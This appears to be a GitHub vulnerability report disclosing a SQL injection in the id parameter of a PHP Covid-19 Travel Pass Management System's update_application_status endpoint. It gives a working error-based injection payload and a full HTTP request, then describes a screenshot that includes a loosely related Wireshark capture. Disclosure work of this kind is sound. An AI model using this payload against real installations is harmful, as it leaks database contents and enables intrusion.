

main

...

bug\_report\_CVE / Covid-19-Travel-Pass-Management-System / sql.md



mikeccltt Update sql.md

History

1 contributor

43 lines (30 sloc) | 1.57 KB

...

# covid-19-travel-pass-management-system v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /ctpms/classes/Master.php?f=update\_application\_status

Vulnerability location:/ctpms/classes/Master.php?f=update\_application\_status, id

[+] Payload: 1'and/\*\*/extractvalue(1,concat(char(126),database()))and' // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /ctpms/classes/Master.php?f=update_application_status HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
```

Content-Type: multipart/form-data; boundary=-----  
-4024160998608039623756913069  
Content-Length: 335  
Origin: http://192.168.2.106  
Connection: keep-alive  
Referer: http://192.168.2.106/ctpmms/admin/?  
page=applications/view\_application&id=1  
Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfaqe

-----4024160998608039623756913069  
Content-Disposition: form-data; name="id"

1'and/\*\*/extractvalue(1,concat(char(126),database()))and'

-----4024160998608039623756913069  
Content-Disposition: form-data; name="status"

1

-----4024160998608039623756913069--

The screenshot displays a web application interface on the left and a Wireshark packet capture on the right.

**Web Application Interface:**

- Header:** CTS Travel Pass - PHP, Covid-19 Travel Pass Management System - Admin
- Left Sidebar:** Dashboard, Main (List of Individuals, List of Applications), Maintenance (User List, Settings).
- Main Content:** Application Details for Mark D. Cooper. The details include:
  - Personal Info:** Name: Cooper, Mark D, Gender: Male, Email: mcooper@sample.co, Contact #: 09123456789, Address: Here St. Brgy. Sam, Status: Verified.
  - Pass Code:** 202204300001
  - Location:** Sample Location 1
  - Destination:** Sample Destination 1
  - Travelling Date From:** May 02, 2022
  - Travelling Date To:** May 07, 2022
  - Reason of Travelling:** Sample Reason
  - Status:** Approved
- Footer:** Copyright © 2022. All rights reserved.

**Wireshark Packet Capture:**

- Target:** http://detectportal.firefox.com/80 [34.107.221.82]
- Request:** GET /canonical.html HTTP/1.1
- Host:** detectportal.firefox.com
- User-Agent:** Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
- Accept:** \*/\*
- Accept-Language:** en-US,en;q=0.5
- Accept-Encoding:** gzip, deflate
- Cache-Control:** no-cache
- Pragma:** no-cache
- Connection:** keep-alive